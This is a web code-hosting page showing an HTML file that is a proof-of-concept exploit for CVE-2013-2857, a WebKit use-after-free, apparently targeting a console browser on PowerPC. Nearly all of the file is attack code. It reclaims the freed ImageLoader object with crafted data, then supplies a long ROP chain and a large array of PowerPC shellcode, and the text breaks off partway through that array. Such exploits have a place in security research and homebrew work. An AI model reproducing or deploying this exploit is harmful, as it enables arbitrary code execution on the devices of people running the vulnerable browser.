You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
103 lines
50 KiB
HTML
103 lines
50 KiB
HTML
<!--
|
|
Tested on 5.5.1
|
|
CVE-2013-2857
|
|
Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124
|
|
Result: Bug is present, crash
|
|
-->
|
|
<html>
|
|
<head>
|
|
<script>
|
|
function UaF(a){
|
|
var pivotAdress = 17489356;
|
|
//5.5.2
|
|
{
|
|
var pivotAdressAdress = 461373440; //r6
|
|
}
|
|
|
|
var codegenAddress = 0x01800000; // don't change this.
|
|
var sizeWebCoreImageLoader = 0x18; // don't change this.
|
|
|
|
var _16K = 0x4000;
|
|
var _4K = 0x1000;
|
|
|
|
//radio is the *ONLY* type that left the freed WebCore::ImageLoader free !
|
|
a.type="radio";
|
|
|
|
//Allocate this new WebCore::ImageLoader over freed WebCore::
|
|
var ab = new ArrayBuffer(sizeWebCoreImageLoader);
|
|
var dv = new DataView(ab)
|
|
|
|
/*
|
|
0:000:x86> dt webkit!WebCore::ImageLoader
|
|
+0x000 __VFN_table : Ptr32
|
|
+0x004 m_client : Ptr32 WebCore::ImageLoaderClient
|
|
+0x008 m_image : WebCore::CachedResourceHandle<WebCore::CachedImage>
|
|
+0x00c m_failedLoadURL : WTF::AtomicString
|
|
+0x010 m_hasPendingBeforeLoadEvent : Pos 0, 1 Bit
|
|
+0x010 m_hasPendingLoadEvent : Pos 1, 1 Bit
|
|
+0x010 m_hasPendingErrorEvent : Pos 2, 1 Bit
|
|
+0x010 m_imageComplete : Pos 3, 1 Bit
|
|
+0x010 m_loadManually : Pos 4, 1 Bit
|
|
+0x010 m_elementIsProtected : Pos 5, 1 Bit
|
|
*/
|
|
//Register:r3 Adress:0x1AF35330-0x1AF35360
|
|
dv.setUint32(0x00, 0x00000000); //vtable
|
|
dv.setUint32(0x04, pivotAdressAdress); //m_client
|
|
dv.setUint32(0x08, pivotAdressAdress); //m_image
|
|
dv.setUint32(0x0C, 0x00000000); //m_failedLoadURL
|
|
dv.setUint32(0x10, 0x00000000); //m_hasPendingBeforeLoadEvent
|
|
dv.setUint32(0x14, 0x00000000); //padding
|
|
|
|
var realROPChain = [0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x01043150, 0x00000000, 0x00000000, 0x00000002, 0x00000000, 0x01080274, 0x010429dc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010418e4, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x48000005, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000000, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7f84e378, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000004, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7fa3eb78, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000008, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7f66db78, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d00000c, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x38c60004, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000010, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x80a40000, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000014, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x38840004, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000018, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7c053000, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d00001c, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x4082fff4, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000020, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7f45d378, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000024, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x38c00002, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000028, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7ca53430, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d00002c, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7ca903a6, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000030, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x80a40000, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000034, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x90a30000, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000038, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x38840004, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d00003c, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x38630004, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000040, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x4200fff0, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000044, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7c21f214, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000048, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x80610004, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d00004c, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x7c6903a6, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000050, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x00000000, 0x00000000, 0x00000000, 0x4e800420, 0x00000000, 0x0101cc10, 0x00000000, 0x00000000, 0x00000000, 0x0101d8d4, 0x010375e0, 0x00000000, 0x1d000054, 0x1cfff000, 0x00000000, 0x0107dd70, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x01023f88, 0x1d000000, 0x00000000, 0x00000058, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010240b0, 0x1d000000, 0x00000000, 0x00000058, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010376c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000058, 0x00000000, 0x0107dd70, 0x01035fc8, 0x01800000, 0x00000000, 0x1d000000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010376c0, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x01023f88, 0x01800000, 0x00000000, 0x00000058, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010240b0, 0x01800000, 0x00000000, 0x00000058, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x01031618, 0x0101cd80, 0x00020000, 0xdeadaffa, 0x1b800000, 0x1d500000, 0x00000008, 0x1cfff000, 0x00000000, 0x01800000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x01023f88, 0x1d500000, 0x00000000, 0x00020000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010240b0, 0x1d500000, 0x00000000, 0x00020000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010376c0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00020000, 0x00000000, 0x0107dd70, 0x01035fc8, 0x01800000, 0x00000000, 0x1d500000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010376c0, 0x00000001, 0x00000000, 0x00000000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x01023f88, 0x01800000, 0x00000000, 0x00020000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x010204c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x0107dd70, 0x010240b0, 0x01800000, 0x00000000, 0x00020000, 0x00000000, 0x01080274, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x01800000, ]
|
|
var payload= [0x3c201ab5, 0x6021d138, 0x480010c1, 0x9421ffe0, 0x3d200102, 0x7c0802a6, 0x3ca00180, 0x6129b828, 0x93e1001c, 0x90010024, 0x7c9f2378, 0x38c10008, 0x38a513f8, 0x38800000, 0x7d2903a6, 0x4e800421, 0x2f9f0000, 0x3bffffff, 0x40be000c, 0x39610020, 0x480012f8, 0x81210008, 0x7d2903a6, 0x4e800421, 0x4bffffe0, 0x9421ffc8, 0x7c0802a6, 0x3ca00180, 0x38800000, 0xbfa1002c, 0x3fc00102, 0x63deb828, 0x9001003c, 0x7fc903a6, 0x38c1001c, 0x38a51406, 0x7c7f1b78, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c10018, 0x38a5140d, 0x38800000, 0x7fe3fb78, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c10014, 0x38a5141f, 0x38800000, 0x7fe3fb78, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c10010, 0x38a5142e, 0x38800000, 0x7fe3fb78, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c1000c, 0x38a51440, 0x38800000, 0x7fe3fb78, 0x4e800421, 0x3ca00180, 0x38c10008, 0x38a51449, 0x38800000, 0x7fc903a6, 0x7fe3fb78, 0x4e800421, 0x81210008, 0x7d2903a6, 0x4e800421, 0x81210018, 0x7c7d1b78, 0x38800040, 0x7d2903a6, 0x38600100, 0x4e800421, 0x8121001c, 0x38a00100, 0x38800000, 0x7d2903a6, 0x7c7e1b78, 0x4e800421, 0x81210010, 0x38e00000, 0x38c00000, 0x38a00003, 0x7fc4f378, 0x7d2903a6, 0x7fa3eb78, 0x4e800421, 0x8121000c, 0x7fa3eb78, 0x7d2903a6, 0x4e800421, 0x81210014, 0x7fc3f378, 0x7d2903a6, 0x4e800421, 0x3c80000f, 0x6084fffc, 0x7fe3fb78, 0x4bfffe61, 0x39610038, 0x4800118c, 0x39450001, 0x39200000, 0x7d4903a6, 0x4200000c, 0x38600000, 0x4e800020, 0x7d4348ae, 0x7d0448ae, 0x7f8a4000, 0x409e000c, 0x39290001, 0x4bffffe0, 0x38600001, 0x4e800020, 0x39450001, 0x39200000, 0x7d4903a6, 0x42000008, 0x4e800020, 0x7d4448ae, 0x7d4349ae, 0x39290001, 0x4bffffec, 0x9421ffe8, 0x7c0802a6, 0x9001001c, 0xbf810008, 0x7c7e1b78, 0x7c9d2378, 0x7cbf2b78, 0x3f800180, 0x7f9fe000, 0x40be005c, 0x3f800f84, 0x3fe00d80, 0x639c8a0c, 0x7fa5eb78, 0x7fc4f378, 0x7fe3fb78, 0x4bffff65, 0x2f830000, 0x419e002c, 0x3bff0004, 0x7f9fe000, 0x409effe0, 0x3d200103, 0x3c600180, 0x61291618, 0x38631451, 0x7d2903a6, 0x3be00000, 0x4e800421, 0x39610018, 0x7fe3fb78, 0x480010ac, 0x7fa5eb78, 0x7fc4f378, 0x7fe3fb78, 0x4bffff19, 0x2f830000, 0x41beffe0, 0x3bff0004, 0x4bffff84, 0x9421fff0, 0x7c0802a6, 0x93e1000c, 0x7c7f1b78, 0x90010014, 0x38600001, 0x38800000, 0x38a00000, 0x38c00000, 0x38e00000, 0x3d000001, 0x7fe9fb78, 0x38003400, 0x7c3f0b78, 0x44000002, 0x60000000, 0x7fe1fb78, 0x7c7f1b78, 0x39610010, 0x7fe3fb78, 0x48001044, 0x9421fff0, 0x7c0802a6, 0xbfc10008, 0x7c7f1b78, 0x90010014, 0x7c9e2378, 0x38600001, 0x38800000, 0x7fc5f378, 0x38c00000, 0x38e00000, 0x3d000001, 0x7fe9fb78, 0x7c3e0b78, 0x38003500, 0x44000002, 0x60000000, 0x7fc1f378, 0x39610010, 0x48000ff0, 0x9421fed0, 0x7c0802a6, 0x39200000, 0x90010134, 0x388100ec, 0x912100ec, 0x3d200102, 0x6129a3b4, 0xbea10104, 0x83e30004, 0x7c7a1b78, 0x3c600180, 0x7d2903a6, 0x38631463, 0x3fc00102, 0x63deb828, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100e8, 0x38a5146b, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100e4, 0x38a51475, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100e0, 0x38a5147b, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100dc, 0x38a51488, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100d8, 0x38a5149a, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100d4, 0x38a514a7, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100d0, 0x38a5140d, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100cc, 0x38a5141f, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100c8, 0x38a514bd, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100c4, 0x38a514cc, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100c0, 0x38a514db, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fe3fb78, 0x7fc903a6, 0x38c100bc, 0x38a514e8, 0x38800000, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c100b8, 0x7fe3fb78, 0x38a513f8, 0x38800000, 0x4e800421, 0x3d200180, 0x3be9135c, 0x8109135c, 0x815f0004, 0x3880000c, 0x813f0008, 0x38610088, 0x80a100e8, 0x91010088, 0x9141008c, 0x91210090, 0x4bfffce1, 0x811f000c, 0x3880000c, 0x815f0010, 0x7c771b78, 0x813f0014, 0x3861007c, 0x80a100e8, 0x9101007c, 0x91410080, 0x91210084, 0x4bfffcb5, 0x811f0018, 0x3880000c, 0x815f001c, 0x38610070, 0x813f0020, 0x80a100e8, 0x91010070, 0x91410074, 0x91210078, 0x4bfffc8d, 0x811f0024, 0x3880000c, 0x815f0028, 0x38610064, 0x813f002c, 0x80a100e8, 0x91010064, 0x91410068, 0x9121006c, 0x4bfffc65, 0x3ca00180, 0x7fc903a6, 0x38c100b4, 0x38a514fd, 0x38800000, 0x7c7b1b78, 0x806100ec, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c100b0, 0x38a5150d, 0x38800000, 0x806100ec, 0x4e800421, 0x3ca00180, 0x7fc903a6, 0x38c100a8, 0x38a51516, 0x38800000, 0x806100ec, 0x4e800421, 0x3ca00180, 0x38c100ac, 0x38a5151e, 0x7fc903a6, 0x38800000, 0x806100ec, 0x4e800421, 0x812100d0, 0x38800004, 0x3860004c, 0x7d2903a6, 0x4e800421, 0x3d201f20, 0x61290014, 0x3940ffb4, 0x90690000, 0x3d201f20, 0x61290018, 0x3ca01000, 0x91490000, 0x3d401f20, 0x3920ffff, 0x614a001c, 0x912a0000, 0x3d401f20, 0x614a0020, 0x38800004, 0x912a0000, 0x7c7c1b78, 0x3d20fc2a, 0x386100a4, 0x912100a4, 0x4bfffb89, 0x815f0038, 0x3ca00100, 0x813f003c, 0x38800018, 0x80ff0030, 0x7c781b78, 0x811f0034, 0x3861004c, 0x91410054, 0x91210058, 0x815f0040, 0x813f0044, 0x90e1004c, 0x91010050, 0x9141005c, 0x91210060, 0x4bfffb45, 0x815f0050, 0x3ca00100, 0x813f0054, 0x38800018, 0x80ff0048, 0x7c751b78, 0x811f004c, 0x38610034, 0x9141003c, 0x91210040, 0x815f0058, 0x813f005c, 0x90e10034, 0x91010038, 0x91410044, 0x91210048, 0x4bfffb01, 0x7c791b78, 0x38a0002c, 0x389f0060, 0x38610008, 0x4bfffac9, 0x3ca00100, 0x3880002c, 0x38610008, 0x4bfffadd, 0x813a0014, 0x38800008, 0x3ac3002c, 0x7d2903a6, 0x38601000, 0x4e800421, 0x813a0014, 0x7c7d1b78, 0x38800020, 0x7d2903a6, 0x386000a0, 0x4e800421, 0x816100c8, 0x3c80011a, 0x38e300a0, 0x7c7e1b78, 0x39400009, 0x39200000, 0x390000a0, 0x38c00000, 0x38a00000, 0x60841dd8, 0x7fa3eb78, 0x7d6903a6, 0x4e800421, 0x2f830000, 0x409e001c, 0x3d200103, 0x3c600180, 0x61291618, 0x3863152a, 0x7d2903a6, 0x4e800421, 0x812100b4, 0x3d001b80, 0x39400001, 0x61080008, 0x3929002c, 0x911d0014, 0x915d0084, 0x38801000, 0x913d0098, 0x7fa3eb78, 0x93dd000c, 0x931d0080, 0x913e0044, 0x39200100, 0x913e0068, 0x812100c0, 0x915e002c, 0x913e0094, 0x812100e0, 0x911e0038, 0x7d2903a6, 0x915e006c, 0x933e0024, 0x931e0028, 0x92be0034, 0x933e0064, 0x92de0074, 0x4e800421, 0x812100e0, 0x7fc3f378, 0x38801000, 0x7d2903a6, 0x4e800421, 0x812100c4, 0x7fa3eb78, 0x7d2903a6, 0x4e800421, 0x812100bc, 0x7fa3eb78, 0x7d2903a6, 0x4e800421, 0x2f830000, 0x41be0198, 0x813a0018, 0x7fa3eb78, 0x7d2903a6, 0x4e800421, 0x813a0018, 0x7fc3f378, 0x7d2903a6, 0x4e800421, 0x815f008c, 0xa13f0090, 0x38c00000, 0x9141009c, 0x38a00000, 0xb12100a0, 0x38800006, 0x7ee903a6, 0x3861009c, 0x4e800421, 0x813f0094, 0x815f0098, 0x38c00008, 0x912100f8, 0x38a10094, 0x91210094, 0x3d20ffe8, 0x61294d40, 0x91410098, 0x913c0044, 0x38800006, 0x7f6903a6, 0x3861009c, 0x914100fc, 0x3fe00180, 0x3bff12c4, 0x4e800421, 0x3d20ffe8, 0x61295140, 0x38c00008, 0x913c0044, 0x38a10094, 0x38800006, 0x7f6903a6, 0x3861009c, 0x4e800421, 0x3d20ffe8, 0x61295540, 0x38c00008, 0x913c0044, 0x38a10094, 0x38800006, 0x7f6903a6, 0x3861009c, 0x4e800421, 0x3d20ffea, 0x6129ab30, 0x38c00008, 0x913c0044, 0x38a10094, 0x38800006, 0x7f6903a6, 0x3861009c, 0x4e800421, 0x3d20ffea, 0x6129af30, 0x38c00008, 0x913c0044, 0x38a10094, 0x7f6903a6, 0x38800006, 0x3861009c, 0x4e800421, 0x3c60ff20, 0x38800000, 0x60630008, 0x4bfff975, 0x809c0048, 0x3c60ffea, 0x6063b530, 0x4bfff965, 0x3c60ffe8, 0x7fe4fb78, 0x60634d04, 0x4bfff955, 0x3c60ffe8, 0x7fe4fb78, 0x60635104, 0x4bfff945, 0x3c60ffe8, 0x7fe4fb78, 0x60635504, 0x4bfff935, 0x3c60ffea, 0x7fe4fb78, 0x6063aaf4, 0x4bfff925, 0x3c60ffea, 0x7fe4fb78, 0x6063aef4, 0x4bfff915, 0x39610130, 0x48000924, 0x812100b8, 0x7d2903a6, 0x4e800421, 0x4bfffe48, 0x9421ffe0, 0x7c0802a6, 0x90010024, 0xbfa10014, 0x7c7e1b78, 0x81250020, 0x38610008, 0x90810008, 0x38800004, 0x7d2903a6, 0x7cbf2b78, 0x4e800421, 0x813f001c, 0x38800004, 0x38610008, 0x7d2903a6, 0x4e800421, 0x813f0010, 0x7fc3f378, 0x7d2903a6, 0x4e800421, 0x813f0010, 0x7c7d1b78, 0x38610008, 0x7d2903a6, 0x4e800421, 0x38a00004, 0x7c641b78, 0x7fa3eb78, 0x48000875, 0x813f001c, 0x38800004, 0x7fc3f378, 0x7d2903a6, 0x4e800421, 0x813f0020, 0x38800004, 0x7fc3f378, 0x7d2903a6, 0x4e800421, 0x39610020, 0x4800088c, 0x9421ffe0, 0x7c0802a6, 0x90010024, 0xbf61000c, 0x7c7d1b78, 0x7c9c2378, 0x7cbe2b78, 0x7cdb3378, 0x3be00000, 0x7f9ef840, 0x41bd000c, 0x39610020, 0x48000850, 0x7c9cf82e, 0x7c7dfa14, 0x7f65db78, 0x3bff0004, 0x4bffff15, 0x4bffffdc, 0x9421ffe8, 0x7c0802a6, 0x9001001c, 0xbfc10010, 0x7c7e1b78, 0x81250020, 0x38610008, 0x90810008, 0x38800004, 0x7d2903a6, 0x7cbf2b78, 0x4e800421, 0x813f001c, 0x38800004, 0x38610008, 0x7d2903a6, 0x4e800421, 0x813f0010, 0x38610008, 0x7d2903a6, 0x4e800421, 0x38a00004, 0x7c641b78, 0x7fc3f378, 0x48000795, 0x39610018, 0x480007d8, 0x9421ffe0, 0x7c0802a6, 0xbf61000c, 0x7c7f1b79, 0x90010024, 0x7c9d2378, 0x7cbc2b78, 0x7cdb3378, 0x7cfe3b78, 0x41820024, 0x813f0000, 0x6d2a7f45, 0x2f8a4c46, 0x409e0014, 0x813f0010, 0x6d2a0002, 0x2f8a0014, 0x419e001c, 0x3d200103, 0x3c600180, 0x61291618, 0x38632d9c, 0x7d2903a6, 0x4e800421, 0x813f0020, 0x39000000, 0xa0df0030, 0x7d3f4a14, 0x7f883000, 0x41bc0028, 0x2f9e0000, 0x3be00000, 0x419e0088, 0x3d200103, 0x7fa3eb78, 0x61291618, 0x7d2903a6, 0x4e800421, 0x48000070, 0xa15f0032, 0x1c880028, 0x38600000, 0x1d4a0028, 0x7ca9202e, 0x7ce92214, 0x7d495214, 0x814a0010, 0x7d4a2a14, 0x7d5f5214, 0x7d6a18ae, 0x7c9d18ae, 0x2e8b0000, 0x2f840000, 0x4196001c, 0x419e0010, 0x7f8b2040, 0x38630001, 0x419effe0, 0x39080001, 0x4bffff84, 0x40befff8, 0x8127000c, 0x913b0000, 0x81270014, 0x913c0000, 0x83e70010, 0x39610020, 0x7fe3fb78, 0x480006b8, 0x9421ff80, 0x3d200102, 0x7c0802a6, 0x6129a3b4, 0x3c600180, 0x90010084, 0x7d2903a6, 0xbfc10078, 0x38810070, 0x38632dad, 0x3fe00102, 0x3fc00180, 0x63ffb828, 0x3bde2dfd, 0x4e800421, 0x3ca00180, 0x38c10068, 0x38a52dba, 0x38800000, 0x80610070, 0x7fe903a6, 0x4e800421, 0x3ca00180, 0x38c10064, 0x38a52dc1, 0x38800000, 0x80610070, 0x7fe903a6, 0x4e800421, 0x81210068, 0x38a0003c, 0x38800000, 0x7d2903a6, 0x38610008, 0x4e800421, 0x81210068, 0x80610070, 0x3ca00180, 0x91210014, 0x3d200180, 0x39291544, 0x9061000c, 0x91210008, 0x38c1006c, 0x38a52dc7, 0x38800001, 0x7fe903a6, 0x4e800421, 0x8121006c, 0x3ca00180, 0x38c1006c, 0x81290000, 0x38a52de1, 0x38800001, 0x80610070, 0x9121001c, 0x7fe903a6, 0x4e800421, 0x8121006c, 0x3ca00180, 0x38c10010, 0x81290000, 0x38a52df6, 0x38800000, 0x80610070, 0x91210020, 0x7fe903a6, 0x4e800421, 0x38c10018, 0x7fc5f378, 0x38800000, 0x80610070, 0x7fe903a6, 0x4e800421, 0x3ca00180, 0x38c10024, 0x38a52e13, 0x38800000, 0x80610070, 0x7fe903a6, 0x4e800421, 0x3ca00180, 0x38c10028, 0x38a52e20, 0x38800000, 0x80610070, 0x7fe903a6, 0x4e800421, 0x38c10018, 0x7fc5f378, 0x38800000, 0x7fe903a6, 0x80610070, 0x4e800421, 0x8061000c, 0x4bfff265, 0x38610008, 0x4bfff551, 0x3c800180, 0x80610008, 0x39200000, 0x38e00001, 0x38c10060, 0x38a1005c, 0x38842e32, 0x91210060, 0x9121005c, 0x4bfffd41, 0x2c030000, 0x41a2001c, 0x80810008, 0x38c10008, 0x80a1005c, 0x7c841a14, 0x80610060, 0x4bfffc69, 0x3c800180, 0x80610008, 0x39200000, 0x38e00000, 0x38c10058, 0x38a10054, 0x38842e38, 0x91210058, 0x91210054, 0x4bfffcf9, 0x2c030000, 0x41a2001c, 0x80810008, 0x38c10008, 0x80a10054, 0x7c841a14, 0x80610058, 0x4bfffc21, 0x3c800180, 0x80610008, 0x39200000, 0x38e00000, 0x38c10050, 0x38a1004c, 0x38842e40, 0x91210050, 0x9121004c, 0x4bfffcb1, 0x2c030000, 0x41a2001c, 0x80810008, 0x38c10008, 0x80a1004c, 0x7c841a14, 0x80610050, 0x4bfffbd9, 0x3c800180, 0x80610008, 0x39200000, 0x38e00000, 0x38c10048, 0x38a10044, 0x38842e46, 0x91210048, 0x91210044, 0x4bfffc69, 0x2c030000, 0x41a2001c, 0x80810008, 